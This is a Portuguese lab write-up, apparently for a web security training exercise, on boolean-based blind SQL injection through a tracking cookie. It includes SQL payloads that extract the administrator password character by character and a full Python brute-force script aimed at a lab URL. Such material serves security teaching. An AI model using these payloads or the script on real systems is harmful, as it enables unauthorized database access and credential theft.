> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-conditional-responses.md).

# Injeção de SQL Cega com Respostas Condicionais

### Injeção SQL Cega com Respostas Condicionais

**Contexto / vulnerabilidade:** o valor de um cookie de rastreamento (`TrackingId`) é injetado em uma consulta SQL do lado do servidor. A consulta não retorna diretamente nenhum resultado nem erros, mas a página exibe **"Bem-vindo de volta!"** se a consulta retornar pelo menos uma linha. Isso permite uma **injeção SQL cega baseada em condição** (baseada em booleanos): testamos afirmações verdadeiras/falsas e observamos a presença/ausência da mensagem para extrair dados.

**Objetivo do laboratório:** extrair a senha do `administrador` usuário e fazer login como administrador.

#### Técnica (fases principais e payloads)

1. **Testes básicos de estabilidade / colunas**

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ```

* (pode detectar o comportamento de erro, se útil)

<figure><img src="/files/aec6c8e7da119c9064e65ea007a0c6bea08b463e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/30d381351124eb45b2a3c4f3df7812af22dbe44f" alt=""><figcaption></figcaption></figure>

2. **Verificação de uma condição verdadeiro/falso (controle da string de falha)**

   ```sql
   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -
   ```

* o primeiro deve disparar `Bem-vindo de volta!`, o segundo não deve.

3. **Verifique a existência de um `administrador` usuário**

   ```sql
   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
   ```

* se `Bem-vindo de volta!` aparecer, a subconsulta retornou uma linha.

4. **Extrair caractere por caractere (substrings)**

* \*\*Nome de usuário (ex.) \*\*

  ````
   ```sql
   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````
* \*\*Senha (ex.) \*\*

  ````
   ```
   ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````

iterar posições/valores para reconstruir a string. 5. \*\*Encontrar o comprimento (exemplo: testar comprimento = 20) \*\*

````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```

adapte isso dependendo do SGBD (`LENGTH` / `LEN` / `LENGTH()`).
````

### Script de Automação (Python)

&#x20;O script fornecido automatiza uma força bruta caractere por caractere modificando o `TrackingId` cookie.

```sql
from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("/nSaindo.../n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("Força bruta")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)

    p2 = log.progress("Senha")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "Bem-vindo de volta!" in r.text:
                    password += character
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"Falha na requisição: {e}")
                sys.exit(1)

if __name__ == '__main__':
    makeRequest()
```

<figure><img src="/files/b2aa68ac44b261eb7877c9a14edc8d46d9a22f2b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.